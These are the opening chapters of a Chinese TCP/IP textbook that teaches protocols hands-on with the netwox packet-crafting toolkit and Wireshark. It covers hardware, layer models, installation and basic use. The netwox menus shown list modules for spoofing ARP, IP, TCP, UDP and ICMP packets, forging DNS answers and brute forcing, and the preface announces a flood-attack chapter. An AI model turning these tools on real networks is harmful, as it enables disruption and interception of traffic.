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前言

TCP/IP协议（TCP/IP Protocol Suite）是互联网通信的基础框架。它采用分层结构，规定了数据如何封装、寻址、传输、路由和接收。为了实现这些功能，TCP/IP协议包含了几十种网络协议，构成了一个协议族。所以，想要系统地了解网络的运行原理，必须要系统地学习TCP/IP协议的相关知识。

由于TCP/IP协议对整个互联网运作进行了标准化，所以它包含大量的理论知识。同时，由于大部分协议都被隐藏在系统和软件内部，用户无法直接接触，更不可能复现，因此传统TCP/IP协议的学习过程漫长而又枯燥乏味。

本书便是针对这种现状而写，主要是结合理论，并通过实际动手实践，带领读者掌握TCP/IP的相关知识。本书结合了Wireshark和netwox工具对TCP/IP协议进行讲解。其中，netwox工具提供了大量模块，允许用户手动创建各种协议的数据包，而Wireshark工具则可以捕获数据包，直观地展现用户创建的数据包。

本书有何特色


1.结合netwox进行讲解


在TCP/IP协议族中，很多协议都是隐藏在系统底层，如ARP和ICMP协议。用户无法接触到这类协议，只能面对抽象的理论。而netwox是一个非常强大的网络工具集，它包含200多个模块，可以生成各种网络报文。本书结合该工具，生成讲解所需要的各种报文，这样读者就可以避免单纯地进行理论学习。


2.基于协议模型逐层讲解


在TCP/IP协议族中，各个协议各司其职，分属不同的协议层，从底层开始，逐层依赖，协调工作。为了便于读者掌握该理念，本书严格按照层次结构，逐层讲解每一层的作用和相关协议。


3.充分讲解网络组成的相关协议


TCP/IP协议族不仅规范了数据的传输方式，还规定了网络组成方式和运作机制。例如，ARP协议规范了IP和MAC地址的转化方式；DHCP协议规范了主机如何获取IP地址。只有掌握这类协议，才能完整地理解互联网数据传输机制。本书详细地讲解了这类协议，如ARP、DHCP、DNS和ICMP协议。


4.详细讲解网络维护类协议


为了方便管理网络，TCP/IP协议族中包含了大量的维护类协议，如SNMP、Telnet和WHOIS。这些协议广泛应用于实际的网络维护和网络安全领域。本书将详细地讲解这类协议，帮助读者理解协议实际应用的重要性。


5.内容延伸到安全领域


TCP/IP协议是网络运行的基础，也是网络安全人员的必备知识。本书从协议报文的基础理论出发，将内容延伸到网络安全领域，充分讲解各个协议在安全领域的应用方式。通过学习，读者可以更深刻地理解网络协议的重要性。


6.提供完善的技术支持和售后服务


本书提供了专门的QQ交流群（343867787），方便大家交流和讨论学习中遇到的各种问题。同时，本书也提供了专门的售后服务邮箱hzbook2017@163.com
 。读者在阅读本书的过程中若有疑问，可以通过该邮箱获得帮助。

本书内容

第1、2章详细讲解了网络协议的基础知识，内容包括网络组成、网络协议的结构、网络访问层的构成。另外，还讲解了学习必备的两个工具Wireshark和netwox。

第3章讲解了网际层和IP协议，内容包括IP地址的规范、IP协议工作方式和报文结构。另外，本章还讲解了如何构建IP数据包，基于该协议实施洪水攻击。

第4、5章讲解了ARP和ICMP协议。这两个协议负责局域网内和网际之间的数据传输和寻址的关键环节。其中，ICMP协议也是网络维护和网络安全的重要协议。

第6、7章讲解了传输层和TCP、UDP协议。传输层负责用户数据的传输。TCP和UDP是最常见和最重要的数据传输协议，这两个协议代表了数据传输的两种经典方式——连接和无连接。

第8、9章讲解了DHCP和DNS协议。其中，DHCP协议负责网络设备IP地址的获取和维护；DNS协议则负责域名和IP地址的转化规则。而IP地址和域名是互联网访问的核心环节，是必须要掌握的内容。

第10～12章分别讲解了Telnet、SNMP和WHOIS协议。这3个协议都是典型的网络维护类协议。例如，Telnet协议用于网络远程登录；SNMP协议用于网络设备和信息管理；WHOIS是网络信息查询协议。

第13、14章分别讲解了FTP和TFTP协议。虽然这两个协议都是文件共享类型协议，但其实现机制不同。它们是常见的两种应用协议类型，TFTP协议只规范了数据传输方式，而FTP协议提供了完备的用户接口——FTP命令，满足实际应用。

本书配套资源获取方式

本书涉及的相关工具读者可以自行下载。下载途径如下：

·根据图书中对应章节给出的网址自行下载；

·加入技术讨论QQ群（343867787）获取；

·登录华章公司网站www.hzbook.com
 ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在页面上找到“配书资源”下载链接。

本书内容更新文档获取方式

为了让本书内容紧跟技术的发展和软件更新，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入QQ交流群（343867787）获取，也可以通过华章公司网站上的本书配套资源链接下载。

本书读者对象

·网络应用程序开发人员；

·渗透测试技术人员；

·网络安全和维护人员；

·信息安全技术爱好者；

·计算机安全技术自学者；

·高校相关专业的学生；

·专业培训机构的学员。

本书阅读建议

·Kali Linux内置了Wireshark和netwox工具，使用该系统的读者可以跳过1.3节和1.4节中的安装部分。

·在学习阶段中，建议多进行实际操作。使用netwox工具构建各种数据包，并使用Wireshark工具进行分析。只要大量练习，就能理解和掌握TCP/IP协议族的各种协议。

·在实际应用中，常见的网络协议有几百种。本书只讲解最基础的协议，读者需要归纳总结不同协议的工作模式，然后拓展到其他常见协议中。

本书作者

本书由大学霸IT达人技术团队编写。感谢在本书编写和出版过程中给予我们大量帮助的各位编辑！

由于作者水平所限，加之写作时间有限，书中可能还存在一些疏漏和不足之处，敬请各位读者批评指正。

编著者


第1章　网络概述

计算机网络是通过数据通信技术将孤立的计算机连接起来，使其能够共享文件和传输数据。通过实现网络连接，计算机的作用被几十倍、几百倍地放大。由于网络的不断发展，各种应用也随之深入人们生活的方方面面。网络协议作为网络世界的基石，也被不断制定和完善。本章将简要讲解网络和网络协议的基本概念。


1.1　网络组成

网络是计算机或类似计算机的网络设备的集合，它们之间通过各种传输介质进行连接。无论设备之间如何连接，网络都是将来自于其中一台网络设备上的数据，通过传输介质传输到另外一台网络设备上。本节将基于这个过程讲解网络的组成。


1.1.1　网卡

网卡也被称为网络适配器（Network Adapter），是连接计算机和传输介质的接口。网卡主要用来将计算机数据转换为能够通过传输介质传输的信号。

1.网卡种类

网络设备要访问互联网，就需要通过网卡进行连接。由于上网的方式不同，所使用的网卡种类也会不同。网卡的种类有以下几种：

（1）有线网卡

有线网卡就是通过“线”连接网络的网卡。这里所说的“线”指的是网线。有线网卡常见形式如图1.1所示。

（2）无线网卡

与有线网卡相反，无线网卡是不需要通过网线进行连接的，而是通过无线信号进行连接。无线网卡通常特指Wi-Fi网络的无线网卡。无线网卡常见形式如图1.2所示。

（3）蓝牙适配器

蓝牙适配器也是一种无线网卡。蓝牙适配器与无线网卡的区别是数据通信方式不同。蓝牙适配器常见样式如图1.3所示。
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图1.1　有线网卡
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图1.2　无线网卡
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图1.3　蓝牙适配器

2.按安装方式分类

网卡通常是网络设备的从属设备。根据其安装方式，网卡可以分为内置网卡和外置网卡。

（1）内置网卡

由于网卡已经成为连接网络的必要设备，所以很多网络设备都内置了网卡。因此，内置网卡也被称为集成网卡。例如，现在的主板都集成了有线网卡，如图1.4所示。箭头所指的接口就是内置网卡提供的有线网卡接口。
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图1.4　内置网卡

（2）外置网卡

除了内置网卡外，很多网络设备都允许用户安装额外的网卡。这类网卡被称为外置网卡，有时被称为独立网卡。由于它可以插在主板的各种扩展插槽中，所以可以随意拆卸，具有一定的灵活性。图1.1和图1.2的有线网卡和无线网卡就属于外置网卡。


1.1.2　网络电缆

网络电缆用来连接网络中的各个设备，供设备之间进行数据通信。常见的网络电缆有双绞线、光纤、电话线等。

1.双绞线

双绞线也就是网线。它是由两根具有绝缘保护层的铜导线缠绕组成的，如图1.5所示。这样的铜线一共有8根。每根都通过对应的颜色进行区分。现实生活中，家庭和企业中的计算机进行上网，一般都是通过双绞线连接网络。这些双绞线在排序上往往采用EIA/TIA 568B的线序，依次为橙白、橙、绿白、蓝、蓝白、绿、棕白、棕。
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图1.5　双绞线

2.光纤

光纤是一种传输光信号的细而柔软的媒质，多数光纤在使用前必须由几层保护结构包裹，如图1.6所示。光纤的主要作用是把要传送的数据由电信号转换为光信号进行通信。在光纤的两端分别装有“光猫”进行信号转换。

3.电话线

电话线就是连接电话的线。电话线也是由绝缘保护层的铜导线组成的。与双绞线不同的是，电话线只有2根或4根线，而且不一定会缠绕在一起，也没有颜色排序，如图1.7所示。
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图1.6　光纤
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图1.7　电话线


1.1.3　网络设备

网络设备指的是网络组成中的设备，如交换机、路由器、调制解调器等。它们是发送或接收数据的终端设备。

1.交换机

交换机（Switch）可以将多个网络设备连接起来组成一个局域网。它是一种用于电（光）信号转发的网络设备，用来进行数据交换。交换机外观如图1.8所示。
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图1.8　交换机

2.路由器

路由器（Router）又称网关设备（Gateway），用于连接多个逻辑上分开的网络。所谓逻辑网络是代表一个单独的网络或者一个子网。当数据从一个子网传输到另一个子网中时，可通过路由器的路由功能来完成。它会根据信道的情况自动选择和设定路由，以最佳路径，按前后顺序发送信号。路由器也是用来进行数据转换的。路由器与交换机很容易区分，最大的区别是，路由器上有WAN口和LAN接口，而交换机没有这些接口。常见的路由器外观如图1.9所示。
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图1.9　路由器

3.调制解调器

调制解调器（Modem），俗称“猫”，是一种计算机硬件。它能把计算机的数字信号翻译成可沿普通电话线传送的脉冲信号，而这些脉冲信号又可被线路另一端的另一个调制解调器接收，并翻译为计算机的数字信号语言。调制解调器外观如图1.10所示。
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图1.10　调制解调器


1.2　网络协议

网络协议是网络运行的基石。在网络中，网络设备、传输介质、网卡又各有不同，数据在传输过程中也会使用不同的规则进行传输，而这些规则是依靠网络协议完成的。下面介绍网络协议的相关知识。


1.2.1　什么是网络协议

网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合。它规定了通信时信息必须采用的格式和这些格式所代表的意义。网络中存在着许多协议，接收方和发送方使用的协议必须一致，否则一方将无法识别另一方发出的信息。网络协议使网络上各种设备能够相互交换信息。而TCP/IP协议就是一种常见的协议，Internet上的计算机使用的就是该协议。


1.2.2　TCP/IP协议

TCP/IP协议是Internet网络的基础协议。它不是一个协议，而是一个协议族的统称。起初它是一门新的通信技术。在20世纪70年代前半叶，ARPANET（全球互联网的祖先）中的一个研究机构研发了TCP/IP，直到1983年成为ARPANET网络中唯一指定的协议。最初研究这项新技术，主要用于国防军事上，是为了在通信过程中，即使遭到了敌人的攻击和破坏，也可以经过迂回线路实现最终通信，保证通信不中断。后来逐步演变为现有的TCP/IP协议族。该协议族包括TCP协议、IP协议和ICMP协议和HTTP协议等。


1.2.3　OSI协议层次

OSI协议层次结构就是现在常说的OSI参考模型（Open System Interconnection Reference Model）。它是国际标准化组织（ISO）提出的一个标准框架，定义了不同计算机互连的标准，目的是使世界范围内的各种计算机互连起来，构成一个网络。

OSI框架是基于1984年国际标准化组织（ISO）发布的ISO/IEC 7498标准。该标准定义了网络互联的7层框架。这7层框架自下而上依次为物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。其层次如图1.11所示。
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图1.11　OSI网络协议层次

每层的作用如下：

·应用层：为应用程序提供服务并规定应用程序中相关的通信细节。常见的协议包括超文本传输协议（HTTP）、简单邮件传送协议（SMTP）和远程登录（Telnet）协议等。

·表示层：将应用处理的信息转换为适合网络传输的格式，或将来自下一层的数据转换为上层能够处理的格式。该层主要负责数据格式的转换，确保一个系统的应用层信息可被另一个系统应用层读取。

·会话层：负责建立和断开通信连接（数据流动的逻辑通路），以及记忆数据的分隔等数据传输相关的管理。

·传输层：只在通信双方的节点上（比如计算机终端）进行处理，无须在路由器上处理。

·网络层：将数据传输到目标地址，主要负责寻找地址和路由选择，网络层还可以实现拥塞控制、网际互联等功能。

·数据链路层：负责物理层面上互连的节点间的通信传输。例如，一个以太网相连的两个节点之间的通信。该层的作用包括：物理地址寻址、数据的成帧、流量控制、数据的检错和重发等。

·物理层：利用传输介质为数据链路层提供物理连接，实现比特流的透明传输。


1.2.4　TCP/IP协议层次结构

TCP/IP协议层次结构也就是现在常说的TCP/IP参考模型。它是ARPANET和其后继的因特网使用的参考模型。基于TCP/IP的参考模型，可以将协议分成4个层次，从上到下分别为应用层、传输层、网际层和网络访问层。分层以后，层中的协议只负责该层的数据处理。TCP/IP协议层次结构如图1.12所示。
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图1.12　TCP/IP协议层次结构

每层的作用如下：

·应用层：为应用程序提供服务并规定应用程序中相关的通信细节。

·传输层：为两台主机上的应用程序提供端到端的通信，提供流量控制、错误控制和确认服务。

·网际层：提供独立于硬件的逻辑寻址，从而让数据能够在具有不同的物理结构的子网之间传递。负责寻找地址和路由选择的同时，网络层还可以实现拥塞控制、网际互联等功能。

·网络访问层：提供了与物理网络连接的接口。针对传输介质设置数据格式，根据硬件的物理地址实现数据的寻址，对数据在物理网络中的传递提供错误控制。


1.3　学习辅助工具——网络工具集netwox

一个好的辅助工具可以起到事半功倍的效果。在本书中将使用到两个辅助工具，网络工具集工具netwox和网络分析工具Wireshark。

netwox是由lauconstantin开发的一款网络工具集，适用群体为网络管理员和网络黑客。它可以创造任意的TCP、UDP和IP数据报文，以实现网络欺骗。它可以在命令模式下使用，也可以在GUI中使用netwag调用。该工具包含了超过200个不同的功能，这里被称为模块。每个模块都有一个特定的编号，使用不同的编号模块来实现不同的功能。

netwox工具支持在Linux和Windows系统中运行。由于后面的章节需要结合netwox工具来实现各种功能，所以这里讲解该工具的安装及基本使用方法。


1.3.1　下载及安装

Kali Linux系统自带netwox工具，而Windows系统默认没有安装。因此，本节将讲解如何在Windows系统中安装netwox工具。安装方法如下：

（1）访问网址https://sourceforge.net/projects/ntwox/
 ，进入netwox下载页面，如图1.13所示。图中显示了可下载的版本，从这里可以看到当前的最新版本为5.39。
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图1.13　下面页面

（2）下载最新版本，单击Download Latest Version按钮进行下载。成功下载后，下载的是一个压缩包，名称为netw-ib-ox-ag-5.39.0.tgz。

（3）解压netw-ib-ox-ag-5.39.0.tgz安装包，在解压的文件夹中找到对应的应用程序文件installwindows.exe。双击该文件进行安装，会弹出“安装确认”对话框，如图1.14所示。
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图1.14　安装确认

（4）同意在该系统中安装。输入y，并回车，将显示其他需要确认的信息。这里，一律输入y并回车即可，信息如下：



This program will install netwib, netwox and netwag on your system.
Do you agree ? [y/n] y
Setting global variables.
 Version...
 Version=539
 InstallDir...
 InstallDir=C:\Program Files (x86)\netw\netw539
Do you agree to use this installation directory ? [y/n] y                                                                                                #确认安装的目录
Copying files under C:\Program Files (x86)\netw\netw539
 src\netwox-bin_windows\netwib539.dll
 src\netwox-bin_windows\netwox539.exe
 src\netwag-bin_windows\netwag539.tcl
 src\netwib-bin_windows\dll
 src\netwib-bin_windows\include
 src\netwib-bin_windows\lib
 src\netwib-doc_html\*
 src\netwox-doc_html\*
 src\netwag-doc_html\*
Do you agree to place shortcuts on desktop ? [y/n] y                                                                                                      #确认是否创建桌面快捷键
Do you agree to place shortcuts in start menu ? [y/n] y                                                                                                #确认是否在开始菜单中创建快捷键
Press any key to terminate



（5）上述代码中的最后一行信息表示按任意键终止，即表示安装完成。此时在“开始”菜单中可以查看到安装的netwox工具，如图1.15所示。
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图1.15　netwox图标


1.3.2　层次结构分析

成功安装了netwox工具以后就可以使用了。由于该工具提供了众多模块，为了方便用户对模块的查找和使用，netwox对这些模块以分类的方式进行了整理，以层次结构（如主菜单、子菜单）的方式进行显示，供用户查找和使用。使用该工具之前，需要了解分类的这些层次结构。下面将对层次结构进行分析。

（1）在“开始”菜单中，选择netwox命令，运行netwox工具，如图1.16所示。

图1.16中显示了该工具的主菜单。每一行表示一个菜单项，第一个字符为该菜单的快捷键。每个菜单含义如下：

·0：退出netwox工具。

·3：搜索工具，用来搜索与指定信息相关的模块。

·4：显示指定模块的帮助信息。

·5：在命令行中输入指定模块的参数选项并运行。

·6：从键盘输入指定模块的参数选项并运行。

·a：显示信息。

·b：显示网络协议下相关的模块。

·c：显示应用程序协议下相关的模块。

·d：显示与嗅探数据包相关的模块。

·e：显示与创建和发送数据包相关的模块。

·f：显示与进行数据包记录相关的模块。

·g：显示与客户端相关的模块。

·h：显示与服务器相关的模块。

·i：显示与检测主机连通性相关的模块。

·j：显示与路由跟踪相关的模块。

·k：显示与扫描计算机和端口相关的模块。

·l：显示与审计相关的模块。

·m：显示与暴力破解相关的模块。

·n：显示与远程管理相关的模块。

·o：显示其他模块。
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图1.16　主菜单

以上菜单项是netwox工具的总体分类，每个菜单项属于一个大类。而每个菜单项中还会有子菜单，而每个子菜单下又有一个小的分类。

（2）使用快捷键e，查看创建和发送数据包的相关模块，输出信息如下：



Select a node (key in 03456abcdefghijklmno): e

############# spoof (create and send packets) ##############                                                                                                #创建和发送数据包模块
 0 - leave netwox
 1 - go to main menu
 2 - go to previous menu
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a + Ethernet spoof
 b + IP spoof
 c + UDP spoof
 d + TCP spoof
 e + ICMP spoof
 f + ARP spoof



从输出信息可以了解到，该分类中的子菜单包含了各种创建和发送数据包的模块，如IP协议的（快捷键b）、UDP协议的（快捷键c）、ICMP协议的（快捷键e）。通过子菜单的快捷键，可以进一步查看具体的可用模块或更小的分类。

（3）使用快捷键c，查看创建和发送UDP数据包的模块，输出信息如下：



Select a node (key in 0123456abcdef): c

######################## UDP spoof #########################                                                                                                #创建和发送UDP数据包
 0 - leave netwox
 1 - go to main menu                                        #返回主菜单
 2 - go to previous menu                                    #返回上一个菜单
 3 - search tools
 4 - display help of one tool
 5 - run a tool selecting parameters on command line
 6 - run a tool selecting parameters from keyboard
 a - 35:Spoof EthernetIp4Udp packet
 b - 39:Spoof Ip4Udp packet
 c - 43:Spoof of packet samples : fragment, ip4opt:noop
 d - 44:Spoof of packet samples : fragment, ip4opt:rr
 e - 45:Spoof of packet samples : fragment, ip4opt:lsrr
 f - 46:Spoof of packet samples : fragment, ip4opt:ts
 g - 47:Spoof of packet samples : fragment, ip4opt:ipts
 h - 48:Spoof of packet samples : fragment, ip4opt:ippts
 i - 141:Spoof EthernetIp6Udp packet
 j - 145:Spoof Ip6Udp packet
 k - 192:Spoof of packet samples : fragment, ip4opt:ssrr



以上输出信息显示了相关的各种模块及快捷键。例如，加粗部分的信息表示netwox的第39个模块功能为创建基于IPv4地址的UDP协议数据包。如果使用该模块，可以使用快捷键b；如果用户想退出当前分类，可以使用快捷键1返回主菜单，或使用快捷键2返回上一个菜单；使用快捷键0退出netwox工具。以类似的方法，可以查看其他分类中的模块。


1.3.3　使用搜索功能

虽然netwox工具对所有模块进行了整理和分类，但是有时候想找到要使用的模块也会很麻烦。因此，netwox提供了搜索功能。用户可以指定关键字搜索与之相关的模块。例如，搜索与DNS相关的模块。在主菜单界面中输入3，显示信息如下：



Select a node (key in 03456abcdefghijklmno): 3
Enter search string:



以上输出信息表示，需要在这里输入要搜索的关键字。例如，这里输入dns然后回车，将显示与DNS相关的模块，输出信息如下：



Enter search string: dns

############ list of tools containing this text ############
Tools containing "dns":
  102:Query a DNS server
  103:Obtain version of a Bind DNS server
  104:DNS server always answering same values
  105:Sniff and send DNS answers



输出信息显示了与DNS相关的模块。相关的模块编号有102、103、104和105。


1.3.4　使用模块

1.3.3节介绍了如何查找要使用的模块。找到要使用的模块编号以后就可以进行使用了。本节将以一个模块为例，简单地介绍其使用方法。无论使用哪个模块，基本语法是不会变的。语法格式如下：



neywox ID options



其中，ID表示模块对应的编号，是必需的；options表示可用到的选项，是可选的。

【实例1-1】演示使用编号为1的模块，实现对应的功能。

（1）启动netwox工具。然后在主菜单界面中按快捷键5，显示信息如下：



Select a node (key in 03456abcdefghijklmno): 5
Select tool number (between 1 and 223):



以上输出信息表示需要输入要使用的模块编号。

（2）本例使用第1个模块，输入1然后回车，将显示该模块的帮助信息，并在帮助信息下面会给出使用模块的命令。输出信息如下：



Select tool number (between 1 and 223): 1

################## running tool number 1 ###################
Title: Display network configuration                              #功能简单介绍
+--------------------------------------------------------------------------------------------------------------+
| This tool displays network configuration:             |      #功能详细说明
|  - the list of devices/interfaces:                    |
|     + nu: device number                               |
|     + dev: easy device name                           |
···                                                            #省略其他信息
|  - the routes                                                    |
|     + nu: device number of device associated to this entry       |
|     + destination/netmask: destination addresses                 |
| If no Parameter is set, they are all displayed.                  |
|                                                                  |
| This tool may need to be run with admin privilege in order to obtain |
| full network configuration.                                      |
+-------------------------------------------------------------+
Synonyms: address, arp, device, gateway, ifconfig, interface, ipconfig, mac,
neighbor, netmask, route, show
Usage: netwox 1 [-d|+d] [-i|+i] [-a|+a] [-r|+r]                  #语法格式
Parameters:                                                      #可用的选项参数
 -d|--devices|+d|--no-devices   display devices
 -i|--ip|+i|--no-ip             display ip addresses
 -a|--arpcache|+a|--no-arpcache display arp cache and neighbors
 -r|--routes|+r|--no-routes     display routes
Example: netwox 1                                                #参考实例
Enter optional tool parameters and press Return key.
netwox 1



上述信息首先输出模块功能的简单介绍，以及功能的详细说明信息；然后输出的是该模块的语法格式和可用的选项参数，并给出了参考实例。输出信息的最后一行是用户使用到的命令。我们要使用的模块为1，因此给出的命令信息为netwox 1。这里还可以输入可使用的选项。如果选项不是必须的，可以不输入选项。

（3）本例中，使用选项-i表示获取IP地址信息。在netwox 1后面输入-i然后回车，将执行模块功能。运行结果如下：



netwox 1 -i
nu ip             /netmask                    ppp point_to_point_with
1  127.0.0.1      /255.0.0.0                     0
2  192.168.59.1   /255.255.255.0                 0
5  192.168.12.102 /255.255.255.0                 0
7  192.168.38.1   /255.255.255.0                 0
13 192.168.12.102 /255.255.255.0                 0
25 192.168.38.1   /255.255.255.0                 0
26 192.168.59.1   /255.255.255.0                 0
9  127.0.0.1      /255.0.0.0                     0

Command returned 0 (OK)
Press 'r' or 'k' to run again this tool, or any other key to continue



以上输出信息显示了模块执行的结果。输出信息的最后一行表示，如果用户继续使用该模块，按快捷键r或k，将回到netwox 1使用模块的命令模式中；如果用户不再使用该模块，按任意键将返回主菜单界面。
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 提示：
 在Windows系统中使用netwox工具，需要按照以上模式运行工具。在Linux系统中，用户可以直接在命令行中，使用netwox命令+模块编号方式来直接使用，无须进行菜单操作。例如，在Linux系统中使用编号为1的模块，直接执行如下命令：



netwox 1 -i




1.4　学习辅助工具——网络分析工具Wireshark

Wireshark（前身Ethereal）是一个网络包分析工具。该工具主要是用来捕获网络数据包，并自动解析数据包，为用户显示数据包的详细信息，供用户对数据包进行分析。它可以运行在Windows和Linux操作系统上。由于后面章节会使用该工具捕获并分析各类协议数据包，本节将讲解该工具的安装及基本使用方法。


1.4.1　下载及安装

Kali Linux系统自带Wireshark工具，而Windows系统中默认没有安装该工具。因此，本节讲解如何在Windows系统中安装Wireshark工具。安装方法如下：

（1）打开网址http://www.wireshark.org
 ，进入Wireshark官网，如图1.17所示。
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图1.17　Wireshark官方网站

（2）单击图中的下载图标进入下载页面，如图1.18所示。在Stable Release部分可以看到目前Wireshark的最新版本是2.6.5，并提供了Windows（32位和64位）、Mac OS和源码包的下载地址。用户可以根据自己的操作系统下载相应的软件包。
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图1.18　下载页面

（3）这里下载Windows 64位的安装包。单击Windows Installer(64-bit)链接，进行下载。下载后的文件名为Wireshark-win64-2.6.5.exe。

（4）双击下载的软件包进行安装。安装比较简单，只要使用默认值，单击Next按钮，即可安装成功。

（5）安装好以后，在Windows的“开始”菜单中会出现Wireshark图标，如图1.19所示。
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图1.19　Wireshark图标


1.4.2　实施抓包

安装好Wireshark以后，就可以运行它来捕获数据包了。方法如下：

（1）在Windows的“开始”菜单中，单击Wireshark菜单，启动Wireshark，如图1.20所示。该图为Wireshark的主界面，界面中显示了当前可使用的接口，例如，本地连接5、本地连接10等。要想捕获数据包，必须选择一个接口，表示捕获该接口上的数据包。

[image: ]


图1.20　主界面

（2）在图1.20中，选择捕获“本地连接”接口上的数据包。选择“本地连接”选项，然后单击左上角的[image: ]
 按钮，将进行捕获网络数据，如图1.21所示。图中没有任何信息，表示没有捕获到任何数据包。这是因为目前“本地连接”上没有任何数据。只有在本地计算机上进行一些操作后才会产生数据，如浏览网站。
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图1.21　将要捕获数据包

（3）当本地计算机浏览网站时，“本地连接”接口的数据将会被Wireshark捕获到。捕获的数据包如图1.22所示。图中方框中显示了成功捕获到“本地连接”接口上的数据包。
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图1.22　成功捕获到的数据包

（4）Wreshark将一直捕获“本地连接”上的数据。如果不需要再捕获，可以单击左上角的[image: ]
 按钮，停止捕获。


1.4.3　使用显示过滤器

默认情况下，Wireshark会捕获指定接口上的所有数据，并全部显示。这样会导致在分析这些数据包时，很难找到想要分析的那部分数据包。这时可以借助显示过滤器快速查找数据包。显示过滤器是基于协议、应用程序、字段名或特有值的过滤器，可以帮助用户在众多的数据包中快速地查找数据包，可以大大减少查找数据包时所需的时间。

使用显示过滤器，需要在Wireshark的数据包界面中输入显示过滤器并执行，如图1.23所示。

图中方框标注的部分为显示过滤器区域。用户可以在里面输入显示过滤器，进行数据查找，也可以根据协议过滤数据包。用到的显示过滤器如表1.1所示。
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图1.23　显示过滤器输入框

表1.1　显示过滤器及其作用
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例如，要从捕获到的所有数据包中，过滤出DNS协议的数据包，这里使用dns显示过滤器，过滤结果如图1.24所示。图中显示的所有数据包的协议都是DNS协议。
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图1.24　显示过滤器结果


1.4.4　分析数据包层次结构

任何捕获的数据包都有它自己的层次结构，Wireshark会自动解析这些数据包，将数据包的层次结构显示出来，供用户进行分析。这些数据包及数据包对应的层次结构分布在Wireshark界面中的不同面板中。下面介绍如何查看指定数据包的层次结构。

（1）使用Wireshark捕获数据包，界面如图1.25所示。
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图1.25　捕获数据包界面

图1.25中所显示的信息从上到下分布在3个面板中，每个面板包含的信息含义如下：

·Packet List面板：上面部分，显示Wireshark捕获到的所有数据包，这些数据包从1进行顺序编号。

·Packet Details面板：中间部分，显示一个数据包的详细内容信息，并且以层次结构进行显示。这些层次结构默认是折叠起来的，用户可以展开查看详细的内容信息。

·Packet Bytes面板：下面部分，显示一个数据包未经处理的原始样子，数据是以十六进制和ASCII格式进行显示。

（2）以HTTP协议数据包为例，了解该数据包的层次结构。在Packet List面板中找到一个HTTP协议数据包，如图1.26所示。
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图1.26　选择数据包

其中，编号21的数据包是一个HTTP协议数据包。此时在Packet Details面板上显示的信息就是该数据包的层次结构信息。这里显示了5个层次，每个层次的含义如下：

·Frame：该数据包物理层的数据帧概况。

·Ethernet II：数据链路层以太网帧头部信息。

·Internet Protocol Version 4：网际层IP包头部信息。

·Transmission Control Protocol：传输层的数据段头部信息。

·Hypertext Transfer Protocol：应用层的信息，此处是HTTP协议。

由此可见，Wireshark对HTTP协议数据包进行解析，显示了HTTP协议的层次结构。

（3）用户对数据包分析就是为了查看包的信息，展开每一层，可以查看对应的信息。例如，查看数据链路层信息，展开Ethernet II层，显示信息如下：



Ethernet II, Src: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba), Dst: Giga-Byt_17:
cf:21 (50:e5:49:17:cf:21)
    Destination: Giga-Byt_17:cf:21 (50:e5:49:17:cf:21)            #目标MAC地址
    Source: Tp-LinkT_46:70:ba (ec:17:2f:46:70:ba)                 #源MAC地址
    Type: IPv4 (0x0800)



显示的信息包括了该数据包的发送者和接收者的MAC地址（物理地址）。

可以以类似的方法分析其他数据包的层次结构。在下面的章节中将要借助Wireshark工具来分析数据包。


第2章　网络访问层

网络访问层是TCP/IP协议栈的最底层。它提供物理网络的接口，实现对复杂数据的发送和接收。网络访问层协议为网络接口、数据传输提供了对应的技术规范。本章将详细讲解网络访问层的构成和相关协议。


2.1　网络访问层的构成

在TCP/IP协议中，网络访问层对应OSI七层网络模型的物理层和数据链路层。下面依次介绍这两个层的作用。


2.1.1　物理层

物理层是OSI七层网络模型中的第1层，它虽然处于最底层，却是整个开放系统的基础。在进行数据传输时，物理层的作用是提供传送数据的通路和可靠的环境。对于计算机来说，物理层对应的就是网络适配器。

根据网络适配器的存在方式，可以分为两类。第一类是物理网络适配器，如有线网卡、无线网卡；第二类是虚拟网络适配器，如宽带拨号连接、VPN连接等。

【实例2-1】显示计算机上的网络适配器信息，执行命令如下：



root@daxueba:~# netwox 169



输出信息如下：



Lo0 127.0.0.1 notether
Lo0 ::1 notether
Eth0 192.168.59.131 00:0C:29:CA:E4:66
Eth0 fd15:4ba5:5a2b:1008:20c:29ff:feca:e466 00:0C:29:CA:E4:66
Eth0 fd15:4ba5:5a2b:1008:61f8:89cd:3207:9d0 00:0C:29:CA:E4:66
Eth0 fe80::20c:29ff:feca:e466 00:0C:29:CA:E4:66



从输出信息可以看到，该计算机中存在两类网络适配器，分别为Lo和Eth。其中，Lo表示回环接口，它是虚拟网络适配器；Eth为以太网网络适配器。如果同类型设备有多个，会在后面添加数字编号。编号从0开始，表示该类型的网络接口的第一个设备。


2.1.2　数据链路层

数据链路层是OSI七层网络模型中的第2层，介于物理层与网络层之间，用来为网络层提供数据传送服务。它定义了数据传输的起始位置，并且通过一些规则来控制这些数据的传输，以保证数据传输的正确性。由于数据链路层完成以上两个独立的任务，所以相应地划分为两个子层，其含义如下：

·介质访问控制（Media Access Control，MAC）：提供与网络适配器连接的接口。实际上，网络适配器驱动程序通常被称为MAC驱动，而网卡在工厂固化的硬件地址通常被称为MAC地址。

·逻辑链路控制（Logical Link Control，LLC）：这个子层对经过子网传递的帧进行错误检查，并且管理子网上通信设备之间的链路。


2.2　网络体系

网络体系定义了物理网络的构成，以及对应的通信协议。例如，有线网络和无线网络是两种不同的网络体系。本节将详细讲解网络体系的构成和类型。


2.2.1　体系的构成

由于网络体系不仅定义了网络构成，还规定了通信方式，所以它包括以下4个方面。

·访问方法：定义了计算机使用传输介质的规则。通过这些规则，可以避免数据传输的各种冲突。

·数据帧格式：定义了数据传输的格式。所有要传输的数据必须按照该格式进行传输。

·布线类型：定义了网络适配器和其他网络设备的连接方式。例如，每台计算机都通过电缆连接到网络设备，从而形成星型网络。

·布线规则：定义网络适配器和网络设备连接规范，如网络适配器接口类型和连线长度等。


2.2.2　类型

由于网络使用的场景和数据传输所使用的终端设备不同，在物理层中识别的网络接口设备也会不同。网络体系主要分为4大类型，每种类型及使用范围如下：

·IEEE 802.3（以太网）：在大多数办公室和家庭中使用的基于线缆的网络，就是常见的有线局域网。

·IEEE 802.11（无线网络）：在办公室、家庭和咖啡厅使用的无线网络技术，如Wi-Fi网络。

